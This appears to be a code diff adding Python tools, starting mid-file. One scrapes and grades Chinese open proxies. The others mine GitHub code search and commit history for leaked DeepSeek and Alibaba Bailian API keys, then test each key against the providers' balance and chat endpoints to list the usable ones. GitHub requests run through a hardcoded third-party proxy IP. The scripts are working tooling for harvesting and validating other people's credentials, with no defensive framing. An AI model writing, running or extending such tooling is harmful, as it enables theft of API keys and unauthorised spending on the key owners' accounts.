return "fail", 0, "", f"{type(e).__name__}: {e}"
# 2) anonymity check via httpbin/ip or similar — use ip-api or a header echo
anon = "unknown"
try:
req = urllib.request.Request(
"http://httpbin.org/get",
headers={"User-Agent": UA}
)
with opener.open(req, timeout=timeout) as resp:
data = json.loads(resp.read(4096))
hdrs = {k.lower(): v for k, v in data.get("headers", {}).items()}
via = hdrs.get("via", "")
xff = hdrs.get("x-forwarded-for", "")
real_ip = hdrs.get("x-real-ip", "")
if not via and not xff and not real_ip:
anon = "elite"
elif xff and proxy.split(":")[0] not in xff:
anon = "anonymous"
else:
anon = "transparent"
except Exception:
anon = "elite?" # baidu worked, anonymity echo failed; assume likely elite
return "ok", latency, anon, ""
def main():
import argparse
ap = argparse.ArgumentParser()
ap.add_argument("--workers", type=int, default=80)
ap.add_argument("--timeout", type=int, default=8)
ap.add_argument("--limit", type=int, default=0)
args = ap.parse_args()
print("=== Stage 1: load China CIDRs ===")
cidrs = load_china_cidrs()
print("\n=== Stage 2: scrape proxy lists from GitHub ===")
candidates = scrape_proxies()
print(f" total scraped: {len(candidates)}")
print("\n=== Stage 3: filter to China IPs ===")
boundaries = build_boundaries(cidrs)
cn = [p for p in candidates if is_china_ip(p.split(":")[0], boundaries)]
print(f" China-IP candidates: {len(cn)}")
(OUT / "all_cn.txt").write_text("\n".join(sorted(cn)) + "\n")
if args.limit:
cn = cn[:args.limit]
print(f" (limited to first {args.limit})")
print(f"\n=== Stage 4: validate {len(cn)} candidates (workers={args.workers}) ===")
ok, fail = [], []
processed = 0
start = time.time()
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs = {pool.submit(test_proxy, p, args.timeout): p for p in cn}
for fut in as_completed(futs):
p = futs[fut]
processed += 1
try:
status, latency, anon, detail = fut.result()
except Exception as e:
status, latency, anon, detail = "fail", 0, "", str(e)
if status == "ok":
ok.append((p, latency, anon))
else:
fail.append((p, detail))
if processed % 200 == 0:
el = time.time() - start
print(f" [{processed}/{len(cn)}] ok={len(ok)} fail={len(fail)} "
f"({processed/el:.0f}/s)")
elapsed = time.time() - start
print(f"\nDone in {elapsed:.1f}s: {len(ok)} working, {len(fail)} failed")
# Write outputs
by_anon = {"elite": [], "anonymous": [], "transparent": [], "elite?": [], "unknown": []}
for p, lat, anon in sorted(ok, key=lambda x: x[1]):
by_anon.setdefault(anon, []).append((p, lat))
with open(OUT / "working_cn.txt", "w") as f:
for p, lat, anon in sorted(ok, key=lambda x: x[1]):
f.write(f"{p}\t{lat}ms\t{anon}\n")
for anon, items in by_anon.items():
if items:
safe = anon.replace("?", "_maybe")
with open(OUT / f"{safe}.txt", "w") as f:
for p, lat in items:
f.write(f"{p}\t{lat}ms\n")
with open(OUT / "failures.txt", "w") as f:
for p, d in fail:
f.write(f"{p}\t{d}\n")
print("\n=== Working CN proxies ===")
for p, lat, anon in sorted(ok, key=lambda x: x[1])[:50]:
print(f" {p:24s} {lat:5d}ms {anon}")
print(f"\nFiles written under {OUT}/")
if __name__ == "__main__":
main()
@@ -0,0 +1,119 @@
#!/usr/bin/env python3
"""Verify Alibaba Bailian Coding Plan keys (sk-sp- prefix).
Endpoint: https://coding.dashscope.aliyuncs.com/v1
These are SEPARATE from regular DashScope paygo keys (sk-<32hex>) and use
the coding-plan domain. Classification: only 401 = DEAD.
A key that lists models but fails chat is NO_ACCESS/NO_BALANCE per body.
"""
import json, sys, time, urllib.request, urllib.error
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent))
from verify_cache import CachedVerifier
BASE = "https://coding.dashscope.aliyuncs.com/v1"
OUT = Path("results/codingplan")
OUT.mkdir(parents=True, exist_ok=True)
CHAT_MODEL = "qwen3-coder-plus"
FAKES = ("xxxxxxxx", "your-", "example", "1234567890abcdefghij",
"super-secret", "shared-test", "your-bailian")
def http(method, path, key, body=None, timeout=20):
url = BASE + path
headers = {"Authorization": f"Bearer {key}", "Accept": "*/*"}
data = None
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.getcode(), r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
try: return e.code, e.read().decode("utf-8", "replace")
except Exception: return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def verify(key):
# cheapest auth check
mc, mb = http("GET", "/models", key)
# real chat regardless (models can 200 while chat is denied)
cc, cb = http("POST", "/chat/completions", key, {
"model": CHAT_MODEL,
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 5, "temperature": 0,
})
blow = (cb or "").lower()
if cc == 200 and '"choices"' in cb:
return "USABLE", f"models={mc} chat 200 {cb[:100]}"
if cc == 401:
return "DEAD", f"401: {cb[:140]}"
if cc in (402, 429):
return "NO_BALANCE", f"models={mc} chat={cc}: {cb[:140]}"
if cc == 403:
return "NO_ACCESS", f"models={mc} 403: {cb[:140]}"
if cc == 400:
if any(w in blow for w in ("balance", "quota", "insufficient", "arrear", "suspend")):
return "NO_BALANCE", f"models={mc} 400: {cb[:140]}"
return "NO_ACCESS", f"models={mc} 400: {cb[:140]}"
if cc == 0:
return "UNKNOWN", f"models={mc} net: {cb[:140]}"
if 500 <= cc < 600:
return "NO_ACCESS", f"models={mc} 5xx {cc}: {cb[:120]}"
return "NO_ACCESS", f"models={mc} HTTP {cc}: {cb[:140]}"
def load_candidates():
keys = {}
pool = Path("results/extracted_keys.txt")
for ln in pool.read_text(errors="replace").splitlines():
p = ln.split("|", 3)
if len(p) < 3: continue
if p[0] not in ("AlibabaCodingPlan", "SCNet"): continue
k = p[1].strip()
if not k.startswith("sk-sp-"): continue
if any(f in k.lower() for f in FAKES): continue
# require plausible length: sk-sp- + at least 24 chars
if len(k) < 30: continue
if k not in keys:
keys[k] = p[2]
return keys
def main():
keys = load_candidates()
print(f"candidates: {len(keys)} sk-sp- keys", flush=True)
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [],
"UNKNOWN": [], "DEAD": []}
with CachedVerifier("codingplan", verify) as ver:
with ThreadPoolExecutor(max_workers=16) as pool:
futs = {pool.submit(ver, k): (k, s) for k, s in keys.items()}
done = 0
for fut in as_completed(futs):
k, s = futs[fut]; done += 1
try: v, d = fut.result()
except Exception as e: v, d = "UNKNOWN", f"exc:{e}"
buckets[v].append((k, s, d))
if done % 20 == 0:
print(f" {done}/{len(keys)} usable={len(buckets['USABLE'])} "
f"nobal={len(buckets['NO_BALANCE'])} dead={len(buckets['DEAD'])} "
f"hit={ver.hits} live={ver.live}", flush=True)
print(f"cache: {ver.hits} hits / {ver.live} live", flush=True)
names = {"USABLE":"usable.txt","NO_BALANCE":"no_balance.txt",
"NO_ACCESS":"no_access.txt","UNKNOWN":"unknown.txt","DEAD":"dead.txt"}
for label, fn in names.items():
with (OUT/fn).open("w") as f:
for k,s,d in buckets[label]:
f.write(f"{k}|{s}|{d}\n")
print()
for label in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN","DEAD"):
print(f" {label:11s}: {len(buckets[label])}")
if buckets["USABLE"]:
print("\n=== USABLE CODING PLAN KEYS ===")
for k,s,d in buckets["USABLE"]:
print(f" {k}\n {s}\n {d[:120]}")
if __name__ == "__main__":
main()
@@ -0,0 +1,288 @@
#!/usr/bin/env python3
"""DeepSeek deep hunter.
Pipeline:
1. Load all DeepSeek keys from extracted_keys.txt (sk-[a-f0-9]{32}).
2. Deep-verify each key against multiple endpoints:
a. GET /user/balance — most reliable auth test
b. POST /v1/chat/completions — deepseek-chat
c. POST /v1/chat/completions — deepseek-reasoner
3. Classification rule (LO said: anything NOT 401 is kept):
- 200 with valid balance/response → USABLE
- balance available but <0 / 402 / 429 → NO_BALANCE (key valid)
- 400/403/404/5xx → NO_ACCESS (key valid, endpoint/model issue)
- network / timeout → UNKNOWN
- 401 → DEAD (discard only this)
Outputs (results/deepseek/):
extracted_keys.txt — unique keys with source URLs
usable.txt — 200 OK with positive balance / chat response
no_balance.txt — valid key but no balance
no_access.txt — valid key but endpoint/model error
unknown.txt — network errors
dead.txt — 401 only
all_non_401.txt — combined live (everything but 401)
"""
import argparse
import json
import os
import re
import subprocess
import sys
import time
import urllib.request
import urllib.error
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
HERE = Path(__file__).parent
RESULTS_DIR = HERE / "results" / "deepseek"
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
EXTRACTED_FILE = RESULTS_DIR / "extracted_keys.txt"
USABLE_FILE = RESULTS_DIR / "usable.txt"
NO_BAL_FILE = RESULTS_DIR / "no_balance.txt"
NO_ACC_FILE = RESULTS_DIR / "no_access.txt"
UNKNOWN_FILE = RESULTS_DIR / "unknown.txt"
DEAD_FILE = RESULTS_DIR / "dead.txt"
NON401_FILE = RESULTS_DIR / "all_non_401.txt"
SOURCE_FILE = HERE / "results" / "extracted_keys.txt"
UA = "curl/8.5.0"
BASE = "https://api.deepseek.com"
def http_request(method, path, key, body=None, timeout=30):
url = f"{BASE}{path}"
headers = {
"User-Agent": UA,
"Accept": "*/*",
"Authorization": f"Bearer {key}",
}
data = None
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", errors="replace")
except Exception:
return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def classify_balance(code, body):
"""Classify using /user/balance result."""
if code == 200:
try:
data = json.loads(body)
bal = data.get("balance_infos", [])
if not bal:
# is_available / balance fields
if data.get("is_available") is True:
return "USABLE", "balance: available"
if data.get("is_available") is False:
return "NO_BALANCE", "balance: unavailable"
return "USABLE", f"balance: {body[:120]}"
total = 0.0
for b in bal:
try:
total += float(b.get("total_balance", 0))
except (TypeError, ValueError):
pass
if total > 0:
return "USABLE", f"balance: {total:.2f} {bal[0].get('currency','USD')}"
return "NO_BALANCE", "balance: 0"
except json.JSONDecodeError:
return "USABLE", f"balance: {body[:120]}"
if code in (402, 429):
return "NO_BALANCE", f"balance HTTP {code}: {body[:120]}"
if code == 401:
return "DEAD", "401 unauthorized"
if code == 0:
return "UNKNOWN", body[:160]
return "NO_ACCESS", f"balance HTTP {code}: {body[:160]}"
def classify_chat(code, body):
bl = (body or "").lower()
if code == 200:
if '"choices"' in bl or '"id"' in bl:
return "USABLE", "chat: 200 OK"
if any(x in bl for x in ("balance", "quota", "arrearage", "insufficient")):
return "NO_BALANCE", f"chat: {body[:120]}"
return "USABLE", f"chat: {body[:120]}"
if code in (402, 429):
return "NO_BALANCE", f"chat HTTP {code}: {body[:120]}"
if code == 401:
return "DEAD", "chat: 401"
if code == 0:
return "UNKNOWN", body[:160]
return "NO_ACCESS", f"chat HTTP {code}: {body[:160]}"
def verify_key(key):
"""Verify via balance endpoint, fall back to chat. Return (verdict, detail)."""
rank = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
best = "DEAD"
best_detail = ""
# 1) balance
code, body = http_request("GET", "/user/balance", key)
verdict, detail = classify_balance(code, body)
if rank[verdict] > rank[best]:
best, best_detail = verdict, detail
# If balance says USABLE, we're done.
if best == "USABLE":
return best, best_detail
# 2) chat completion — deepseek-chat
code, body = http_request("POST", "/v1/chat/completions", key, body={
"model": "deepseek-chat",
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1,
})
verdict, detail = classify_chat(code, body)
if rank[verdict] > rank[best]:
best, best_detail = verdict, detail
if best == "USABLE":
return best, best_detail
# 3) chat completion — deepseek-reasoner (some keys only have reasoner access)
code, body = http_request("POST", "/v1/chat/completions", key, body={
"model": "deepseek-reasoner",
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1,
})
verdict, detail = classify_chat(code, body)
if rank[verdict] > rank[best]:
best, best_detail = verdict, detail
return best, best_detail
def load_keys():
"""Load unique DeepSeek keys from extracted_keys.txt; filter obvious fakes."""
keys = {}
if not SOURCE_FILE.exists():
print(f"ERROR: {SOURCE_FILE} not found. Run extract.py first.", file=sys.stderr)
sys.exit(1)
fake_substrs = ("xxxx", "your-", "example", "test-key", "placeholder",
"00000000000000000000000000000000", "1234567890abcdef")
with open(SOURCE_FILE) as f:
for line in f:
line = line.strip()
if not line.startswith("DeepSeek|"):
continue
parts = line.split("|", 3)
if len(parts) < 3:
continue
key = parts[1]
url = parts[2] if len(parts) > 2 else ""
low = key.lower()
if any(x in low for x in fake_substrs):
continue
if not re.fullmatch(r"sk-[a-f0-9]{32}", key):
continue
if key not in keys:
keys[key] = url
# write snapshot
with open(EXTRACTED_FILE, "w") as f:
for k, src in sorted(keys.items()):
f.write(f"{k}|{src}\n")
print(f"Loaded {len(keys)} unique DeepSeek keys (written to {EXTRACTED_FILE})")
return keys
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--workers", type=int, default=10,
help="Concurrent workers (default: 10)")
ap.add_argument("--limit", type=int, default=0,
help="Only verify first N keys (0 = all)")
args = ap.parse_args()
keys = load_keys()
if args.limit > 0:
keys = dict(list(keys.items())[:args.limit])
print(f" (limited to first {args.limit})")
if not keys:
print("No keys to verify.")
return
print(f"\nDeep verifying {len(keys)} keys against api.deepseek.com (workers={args.workers})...")
print("Rule: only 401 = dead; everything else is kept.\n")
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
details = []
processed = 0
start = time.time()
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs = {pool.submit(verify_key, k): (k, src) for k, src in keys.items()}
for fut in as_completed(futs):
k, src = futs[fut]
processed += 1
try:
verdict, detail = fut.result()
except Exception as e:
verdict, detail = "UNKNOWN", str(e)
buckets[verdict].append((k, src))
details.append(f"{verdict:11s} | {k} | {detail} | src={src}")
if processed % 25 == 0:
el = time.time() - start
print(
f" [{processed}/{len(keys)}] "
f"usable={len(buckets['USABLE'])} "
f"nobal={len(buckets['NO_BALANCE'])} "
f"noacc={len(buckets['NO_ACCESS'])} "
f"unk={len(buckets['UNKNOWN'])} "
f"dead={len(buckets['DEAD'])} "
f"({processed/el:.1f}/s)"
)
elapsed = time.time() - start
print(f"\nDone in {elapsed:.1f}s")
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
print(f" {name:11s}: {len(buckets[name])}")
# Write buckets
for name, path in [
("USABLE", USABLE_FILE),
("NO_BALANCE", NO_BAL_FILE),
("NO_ACCESS", NO_ACC_FILE),
("UNKNOWN", UNKNOWN_FILE),
("DEAD", DEAD_FILE),
]:
with open(path, "w") as f:
for k, src in sorted(buckets[name]):
f.write(f"{k}|{src}\n")
print(f" written: {path}")
# Combined non-401
with open(NON401_FILE, "w") as f:
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
for k, src in sorted(buckets[name]):
f.write(f"{name}|{k}|{src}\n")
print(f" written: {NON401_FILE}")
# Show usable
if buckets["USABLE"]:
print("\n=== USABLE keys (with positive balance) ===")
for k, src in sorted(buckets["USABLE"]):
print(f" {k} {src}")
if __name__ == "__main__":
main()
@@ -0,0 +1,393 @@
#!/usr/bin/env python3
"""DeepSeek targeted deep hunter.
Pipeline:
1. Search GitHub for DeepSeek key leaks (sk-<32 hex>) with provider-specific queries.
2. Fetch raw files, extract keys matching sk-[a-f0-9]{32}.
3. Merge with previously-extracted DeepSeek keys (results/extracted_keys.txt).
4. Deep verify:
a. GET /user/balance
b. POST /v1/chat/completions model=deepseek-chat
c. POST /v1/chat/completions model=deepseek-reasoner
5. Classification (LO's rule: only HTTP 401 = DEAD).
Outputs results/deepseek_deep/{usable,no_balance,no_access,unknown,dead,all_non_401}.txt
"""
import argparse
import json
import os
import re
import subprocess
import sys
import time
import urllib.request
import urllib.error
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
import sys as _sys
_sys.path.insert(0, str(Path(__file__).resolve().parent))
from verify_cache import CachedVerifier
HERE = Path(__file__).parent
RESULTS_DIR = HERE / "results" / "deepseek_deep"
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
EXTRACTED_FILE = RESULTS_DIR / "extracted_keys.txt"
GLOBAL_EXTRACTED = HERE / "results" / "extracted_keys.txt"
UA = "curl/8.5.0"
BASE = "https://api.deepseek.com"
# GitHub API/raw are GFW-blocked from this host; route through a CN proxy that can reach it.
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
_gh_opener = None
def gh_opener():
global _gh_opener
if _gh_opener is None:
if GH_PROXY:
handler = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY})
_gh_opener = urllib.request.build_opener(handler)
else:
_gh_opener = urllib.request.build_opener()
return _gh_opener
KEY_RE = re.compile(r"sk-[a-f0-9]{32}")
BLACKLIST = (
"00000000000000000000000000000000",
"1234567890abcdef1234567890abcdef",
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"your-", "example", "placeholder", "test-key",
)
SEARCH_QUERIES = [
'"DEEPSEEK_API_KEY" extension:env',
'"DEEPSEEK_API_KEY" extension:py extension:ipynb',
'"DEEPSEEK_KEY" extension:env',
'"DEEPSEEK_API_KEY" extension:yaml',
'"DEEPSEEK_API_KEY" extension:yml',
'"DEEPSEEK_API_KEY" extension:json',
'"DEEPSEEK_API_KEY" extension:toml',
'"DEEPSEEK_API_KEY" extension:ini',
'"api.deepseek.com" extension:py',
'"api.deepseek.com" extension:js',
'"api.deepseek.com" extension:ts',
'"api.deepseek.com" extension:go',
'"api.deepseek.com/v1/chat/completions"',
'"api.deepseek.com" bearer sk-',
'"deepseek-chat" Authorization: Bearer sk-',
'"deepseek-reasoner" sk-',
'"DEEPSEEK_API_KEY" filename:docker-compose',
'"deepseek" filename:.env',
'"deepseek_api_key" extension:py',
'deepseek "sk-" filename:.env',
'deepseek "sk-" filename:config.py',
'deepseek "sk-" filename:settings.py',
'deepseek "sk-" filename:local.settings.json',
'"deepseek-chat" filename:.env',
'deepseek "base_url" "api.deepseek.com" extension:py',
'DEEPSEEK_API_KEY=sk-',
'DEEPSEEK_KEY=sk-',
'deepseek_api_key=sk-',
'DeepSeek_API_KEY=sk-',
'deepseekToken=sk-',
'"deepseek" "sk-" filename:config.json',
'"deepseek" "sk-" filename:config.toml',
'"deepseek" "sk-" filename:config.yaml',
'"deepseek/v1" filename:.env',
]
def github_token():
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
if tok:
return tok
try:
out = subprocess.run(["gh", "auth", "token"],
capture_output=True, text=True, timeout=10)
if out.returncode == 0:
return out.stdout.strip()
except FileNotFoundError:
pass
hosts = Path.home() / ".config" / "gh" / "hosts.yml"
if hosts.exists():
for line in hosts.read_text().splitlines():
line = line.strip()
if line.startswith("oauth_token:"):
return line.split(":", 1)[1].strip()
return None
def gh_api_search(query, token, per_page=100):
headers = {
"Accept": "application/vnd.github+json",
"User-Agent": "key-hunter",
}
if token:
headers["Authorization"] = f"Bearer {token}"
for page in range(1, 11):
url = ("https://api.github.com/search/code"
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
req = urllib.request.Request(url, headers=headers)
try:
with gh_opener().open(req, timeout=30) as resp:
data = json.loads(resp.read())
except urllib.error.HTTPError as e:
if e.code in (403, 429):
reset = e.headers.get("X-RateLimit-Reset")
wait = max(int(reset) - int(time.time()), 5) if reset else 30
print(f" rate-limited, waiting {wait}s...", file=sys.stderr)
time.sleep(wait + 1)
continue
if e.code == 422:
return
print(f" HTTP {e.code} for {query!r}: {e.read()[:200]}", file=sys.stderr)
return
except Exception as e:
print(f" network error: {e}", file=sys.stderr)
return
items = data.get("items", [])
if not items:
return
for it in items:
yield it
if len(items) < per_page:
return
time.sleep(2.2 if token else 7)
def to_raw_url(html_url):
return html_url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
def fetch_raw(url):
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
try:
with gh_opener().open(req, timeout=20) as resp:
return resp.read().decode("utf-8", errors="replace")
except Exception:
return ""
def http_request(method, path, key, body=None, timeout=30):
url = f"{BASE}{path}"
h = {"User-Agent": UA, "Accept": "*/*", "Authorization": f"Bearer {key}"}
data = None
if body is not None:
data = json.dumps(body).encode()
h["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, headers=h, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", errors="replace")
except Exception:
return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def classify_balance(code, body):
if code == 200:
try:
d = json.loads(body)
bal = d.get("balance_infos") or []
if bal:
total = 0.0
for b in bal:
try:
total += float(b.get("total_balance", 0))
except (TypeError, ValueError):
pass
if total > 0:
return "USABLE", f"balance: ¥{total:.4f} {bal[0].get('currency','')}"
return "NO_BALANCE", "balance: 0"
if d.get("is_available") is True:
return "USABLE", "balance: available"
if d.get("is_available") is False:
return "NO_BALANCE", "balance: unavailable"
return "USABLE", f"balance: {body[:120]}"
except json.JSONDecodeError:
return "USABLE", f"balance: {body[:120]}"
if code in (402, 429):
return "NO_BALANCE", f"bal HTTP {code}: {body[:140]}"
if code == 401:
return "DEAD", "401 unauthorized"
if code == 0:
return "UNKNOWN", body[:160]
return "NO_ACCESS", f"bal HTTP {code}: {body[:140]}"
def classify_chat(code, body):
bl = (body or "").lower()
if code == 200:
if '"choices"' in bl or '"id"' in bl:
return "USABLE", "chat 200 OK"
if any(x in bl for x in ("balance", "quota", "arrearage", "insufficient")):
return "NO_BALANCE", f"chat: {body[:120]}"
return "USABLE", f"chat: {body[:120]}"
if code in (402, 429):
return "NO_BALANCE", f"chat HTTP {code}: {body[:140]}"
if code == 401:
return "DEAD", "chat 401"
if code == 0:
return "UNKNOWN", body[:160]
return "NO_ACCESS", f"chat HTTP {code}: {body[:140]}"
RANK = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
def verify_key(key):
best, best_detail = "DEAD", ""
code, body = http_request("GET", "/user/balance", key)
v, d = classify_balance(code, body)
if RANK[v] > RANK[best]:
best, best_detail = v, d
if best == "USABLE":
return best, best_detail
for model in ("deepseek-chat", "deepseek-reasoner"):
code, body = http_request("POST", "/v1/chat/completions", key, body={
"model": model,
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1,
})
v, d = classify_chat(code, body)
d = f"[{model}] {d}"
if RANK[v] > RANK[best]:
best, best_detail = v, d
if best == "USABLE":
return best, best_detail
return best, best_detail
def valid_key(k):
if not KEY_RE.fullmatch(k):
return False
low = k.lower()
return not any(b in low for b in BLACKLIST)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--verify-only", action="store_true",
help="Skip GitHub search; verify existing extracted_keys.txt")
ap.add_argument("--workers", type=int, default=20)
ap.add_argument("--limit", type=int, default=0)
ap.add_argument("--no-cache", action="store_true")
args = ap.parse_args()
keys = {}
# Load previously-extracted DeepSeek keys from the global pool.
if GLOBAL_EXTRACTED.exists():
for line in GLOBAL_EXTRACTED.read_text().splitlines():
if not line.startswith("DeepSeek|"):
continue
parts = line.split("|", 3)
if len(parts) >= 3:
k, src = parts[1], parts[2]
if valid_key(k):
keys[k] = src
print(f"loaded {len(keys)} previously-extracted DeepSeek keys")
if not args.verify_only:
token = github_token()
print(f"GitHub token: {'yes' if token else 'NO (anonymous = 10 req/min)'}\n")
print("=== Stage 1: GitHub code search ===")
candidates = {}
for i, q in enumerate(SEARCH_QUERIES, 1):
print(f" [{i:2d}/{len(SEARCH_QUERIES)}] {q}")
try:
for it in gh_api_search(q, token):
u = it.get("html_url", "")
if u and u not in candidates:
candidates[u] = it.get("repository", {}).get("full_name", "?")
except Exception as e:
print(f" error: {e}", file=sys.stderr)
print(f" candidate files: {len(candidates)}")
print("\n=== Stage 2: fetch raw & extract keys ===")
fetched = 0
new_keys = 0
with ThreadPoolExecutor(max_workers=20) as pool:
futs = {pool.submit(fetch_raw, to_raw_url(u)): u for u in candidates}
for fut in as_completed(futs):
u = futs[fut]
fetched += 1
try:
content = fut.result()
except Exception:
content = ""
for k in KEY_RE.findall(content):
if valid_key(k) and k not in keys:
keys[k] = u
new_keys += 1
if fetched % 100 == 0:
print(f" fetched {fetched}/{len(candidates)}, total keys={len(keys)} (new={new_keys})")
print(f" extracted total: {len(keys)} keys ({new_keys} new)")
with open(EXTRACTED_FILE, "w") as f:
for k, src in sorted(keys.items()):
f.write(f"{k}|{src}\n")
if args.limit > 0:
keys = dict(list(keys.items())[:args.limit])
print(f" (limited to first {args.limit})")
print(f"\n=== Stage 3: deep verify {len(keys)} keys (workers={args.workers}) ===")
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
processed = 0
start = time.time()
with CachedVerifier('deepseek', verify_key, force=getattr(args,'no_cache',False)) as ver:
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs = {pool.submit(ver, k): (k, src) for k, src in keys.items()}
for fut in as_completed(futs):
k, src = futs[fut]
processed += 1
try:
v, d = fut.result()
except Exception as e:
v, d = "UNKNOWN", f"exc: {e}"
buckets[v].append((k, src, d))
if processed % 50 == 0:
el = time.time() - start
print(f" [{processed:5d}/{len(keys)}] "
f"usable={len(buckets['USABLE'])} "
f"nobal={len(buckets['NO_BALANCE'])} "
f"noacc={len(buckets['NO_ACCESS'])} "
f"unk={len(buckets['UNKNOWN'])} "
f"dead={len(buckets['DEAD'])} "
f"({processed/el:.1f}/s)")
elapsed = time.time() - start
print(f"\nDone in {elapsed:.1f}s")
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
path = RESULTS_DIR / f"{name.lower()}.txt"
with open(path, "w") as f:
for k, src, d in sorted(buckets[name]):
f.write(f"{k}|{src}|{d}\n")
print(f" {name:11s}: {len(buckets[name]):5d} -> {path.name}")
with open(RESULTS_DIR / "all_non_401.txt", "w") as f:
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
for k, src, d in sorted(buckets[name]):
f.write(f"{name}|{k}|{src}|{d}\n")
if buckets["USABLE"]:
print("\n=== USABLE KEYS ===")
for k, src, d in sorted(buckets["USABLE"]):
print(f" {k}")
print(f" src: {src}")
print(f" {d}")
if __name__ == "__main__":
main()
@@ -0,0 +1,475 @@
#!/usr/bin/env python3
"""DeepSeek deep-miner v2.
Over v1:
- Far broader search queries (more languages, file types, env-var spellings,
base_url / openai-compat patterns, k8s/docker/CI, Chinese terms, READMEs).
- Optional per-file commit-history scan (Stage 2c) to recover keys deleted in
prior commits, bounded per file. Uses the core API (--max-commits).
- Incremental candidate/key checkpoints so a killed run resumes.
Classification: only HTTP 401 => DEAD. Verify order balance -> chat -> reasoner.
Outputs results/deepseek_v2/.
"""
import argparse, json, os, re, subprocess, sys, time
import urllib.request, urllib.error, urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent))
from verify_cache import CachedVerifier
from content_cache import ContentCache, parse_raw_url
HERE = Path(__file__).parent
RESULTS_DIR = HERE / "results" / "deepseek_v2"
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
EXTRACTED_FILE = RESULTS_DIR / "extracted_keys.txt"
CANDIDATES_FILE = RESULTS_DIR / "candidates.txt"
GLOBAL_EXTRACTED = HERE / "results" / "extracted_keys.txt"
UA = "curl/8.5.0"
BASE = "https://api.deepseek.com"
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
_gh_opener = None
def gh_opener():
global _gh_opener
if _gh_opener is None:
if GH_PROXY:
h = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY})
_gh_opener = urllib.request.build_opener(h)
else:
_gh_opener = urllib.request.build_opener()
return _gh_opener
_direct_opener = None
def direct_opener():
global _direct_opener
if _direct_opener is None:
_direct_opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
return _direct_opener
KEY_RE = re.compile(r"sk-[a-f0-9]{32}")
BLACKLIST = (
"00000000000000000000000000000000","1234567890abcdef1234567890abcdef",
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","your-","example","placeholder","test-key",
)
# Direct (no proxy) for DeepSeek verification; proxy for GitHub.
def http_request(method, path, key, body=None, timeout=30):
url = f"{BASE}{path}"
h = {"User-Agent": UA, "Accept": "*/*", "Authorization": f"Bearer {key}"}
data = None
if body is not None:
data = json.dumps(body).encode(); h["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, headers=h, method=method)
try:
with direct_opener().open(req, timeout=timeout) as resp:
return resp.getcode(), resp.read().decode("utf-8","replace")
except urllib.error.HTTPError as e:
try: return e.code, e.read().decode("utf-8","replace")
except Exception: return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def classify_balance(code, body):
if code == 200:
try:
d = json.loads(body); bal = d.get("balance_infos") or []
if bal:
total = 0.0
for b in bal:
try: total += float(b.get("total_balance",0))
except (TypeError,ValueError): pass
if total > 0: return "USABLE", f"balance: \u00a5{total:.4f} {bal[0].get('currency','')}"
return "NO_BALANCE","balance: 0"
if d.get("is_available") is True: return "USABLE","balance: available"
if d.get("is_available") is False: return "NO_BALANCE","balance: unavailable"
return "USABLE", f"balance: {body[:120]}"
except json.JSONDecodeError:
